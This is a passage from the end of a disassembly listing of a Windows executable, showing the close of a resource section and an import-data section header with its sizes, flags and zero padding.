dd 0D1645ECBh, 0DAB2CA6Ah, 87CE7893h, 117C7CE6h, 150Dh dup(0)
_rsrc ends
; Section 4. (virtual address 00016000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00015400
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 1016000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start